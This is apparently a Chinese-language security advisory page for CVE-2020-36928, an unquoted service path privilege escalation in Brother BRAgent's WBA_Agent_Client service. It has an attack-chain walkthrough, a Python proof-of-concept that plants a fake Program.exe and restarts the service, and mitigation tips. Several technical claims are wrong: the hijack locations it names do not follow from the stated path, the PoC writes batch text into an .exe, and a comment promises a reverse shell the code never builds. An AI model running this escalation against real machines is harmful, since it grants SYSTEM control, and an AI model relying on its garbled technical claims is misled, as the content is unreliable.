IPBUF安全漏洞报告
English
CVE-2020-36928 CVSS 7.8 高危

CVE-2020-36928 Brother BRAgent WBA_Agent_Client未引用服务路径权限提升漏洞

披露日期: 2026-01-16

漏洞信息

漏洞编号
CVE-2020-36928
漏洞类型
未引用服务路径
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Brother BRAgent

相关标签

未引用服务路径权限提升本地攻击BrotherBRAgentWBA_Agent_ClientWindows服务高危漏洞CVE-2020-36928

漏洞概述

CVE-2020-36928是影响Brother BRAgent 1.38版本的一个高危安全漏洞。该漏洞存在于WBA_Agent_Client Windows服务中,由于服务路径未正确使用引号包裹,攻击者可以利用Windows服务解析路径时的特性,在服务可执行文件路径之前的位置植入恶意可执行文件,从而实现权限提升。本地低权限攻击者通过创建特制的恶意程序并将其放置在服务路径的中间目录位置,利用Windows服务启动时的路径解析机制,使服务错误地执行攻击者的恶意程序。由于WBA_Agent_Client服务以LocalSystem最高权限运行,攻击成功后可获得系统完全控制权。该漏洞CVSS评分7.8,属于高危级别,需要本地访问即可利用,无需用户交互。

技术细节

该漏洞的根本原因在于Windows服务的可执行文件路径配置不当。在Windows操作系统中,当服务配置的可执行文件路径包含空格且未被引号正确包裹时,系统会按照从左到右的顺序尝试解析路径中的每个空格分隔的部分作为可执行文件。Brother BRAgent的WBA_Agent_Client服务配置路径为:C:\Program Files (x86)\Brother\BRAgent\bragent.exe,由于路径中包含空格且未加引号,Windows服务控制管理器在启动服务时会首先尝试查找并执行C:\Program.exe,如果存在则直接执行,否则继续查找C:\Program Files\Brother.exe等。攻击者可以在C:\Program Files (x86)\目录下创建名为Program.exe的恶意可执行文件,或在C:\Program Files (x86)\Brother\下创建Brother.exe,当服务启动时会优先执行这些恶意程序。由于服务以LocalSystem权限运行,恶意代码也将以系统最高权限执行,从而实现权限提升。

攻击链分析

STEP 1
步骤1
攻击者首先识别目标系统上是否存在Brother BRAgent软件的WBA_Agent_Client服务
STEP 2
步骤2
通过sc qc命令查询服务配置,确认服务路径为C:\Program Files (x86)\Brother\BRAgent\bragent.exe且未使用引号包裹
STEP 3
步骤3
攻击者在C:\Program Files (x86)\目录下创建名为Program.exe的恶意可执行文件
STEP 4
步骤4
等待服务重启或系统管理员手动重启服务,Windows服务控制管理器尝试启动服务时首先查找Program.exe
STEP 5
步骤5
Windows错误地执行了攻击者创建的Program.exe恶意程序,由于服务以LocalSystem权限运行,恶意代码获得系统最高权限
STEP 6
步骤6
攻击者成功实现权限提升,可以执行任意系统命令、安装后门、窃取敏感数据等恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2020-36928 PoC - Brother BRAgent Unquoted Service Path # This PoC demonstrates the unquoted service path vulnerability in Brother BRAgent # Target: WBA_Agent_Client service running with LocalSystem privileges import os import sys import time import subprocess import shutil def check_vulnerability(): """Check if the vulnerable service exists""" try: result = subprocess.run( ['sc', 'qc', 'WBA_Agent_Client'], capture_output=True, text=True ) if 'BINARY_PATH_NAME' in result.stdout: print("[+] WBA_Agent_Client service found") # Extract the path for line in result.stdout.split('\n'): if 'BINARY_PATH_NAME' in line: print(f"[i] Service path: {line.strip()}") return True except Exception as e: print(f"[-] Error checking service: {e}") return False def create_malicious_executable(target_path): """Create a malicious executable in the unquoted path location""" # Create a simple malicious executable (reverse shell or payload) malicious_code = ''' #include <windows.h> #include <stdio.h> int main() { // Log execution to file for demonstration FILE *fp = fopen("C:\\\\temp\\\\exploit_log.txt", "a"); if (fp) { fprintf(fp, "[EXPLOIT] Program.exe executed at %s\\n", __TIME__); fclose(fp); } // Spawn a command shell with SYSTEM privileges WinExec("cmd.exe /c whoami > C:\\\\temp\\\\whoami.txt", SW_HIDE); return 0; } ''' # For demonstration, create a batch file instead of compiled executable batch_content = '''@echo off echo [EXPLOIT] Executed at %date% %time% >> C:\\temp\\\\exploit_log.txt whoami >> C:\\temp\\\\whoami.txt ''' try: # Create temp directory if not exists os.makedirs('C:\\temp', exist_ok=True) # Create the malicious executable with open(target_path, 'w') as f: f.write(batch_content) print(f"[+] Malicious executable created at: {target_path}") return True except Exception as e: print(f"[-] Failed to create malicious executable: {e}") return False def trigger_service(): """Attempt to trigger the vulnerable service""" try: print("[*] Attempting to restart the service...") subprocess.run(['net', 'stop', 'WBA_Agent_Client'], capture_output=True, timeout=10) time.sleep(2) subprocess.run(['net', 'start', 'WBA_Agent_Client'], capture_output=True, timeout=10) print("[+] Service restart attempted") return True except Exception as e: print(f"[-] Failed to trigger service: {e}") return False def main(): print("=" * 60) print("CVE-2020-36928 - Brother BRAgent Unquoted Service Path") print("=" * 60) if not check_vulnerability(): print("[-] Target service not found or not vulnerable") return # The vulnerable path is: C:\Program Files (x86)\Brother\BRAgent\bragent.exe # Attack vector: Create Program.exe in C:\Program Files (x86)\ target_path = 'C:\\\\Program Files (x86)\\\\Program.exe' if create_malicious_executable(target_path): print("[*] Waiting for service trigger...") print("[*] Check C:\\temp\\\\exploit_log.txt for execution proof") # Note: In real attack, service restart triggers the exploit if __name__ == '__main__': main()

影响范围

Brother BRAgent 1.38及之前版本

防御指南

临时缓解措施
在官方补丁发布前,可通过以下措施临时缓解:1) 检查服务配置并确保路径使用引号包裹;2) 限制相关目录的写入权限,仅允许管理员和系统账户有写权限;3) 部署端点防护软件监控可疑进程创建行为;4) 考虑禁用或卸载不必要的服务;5) 监控系统日志,关注WBA_Agent_Client服务相关的异常启动事件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表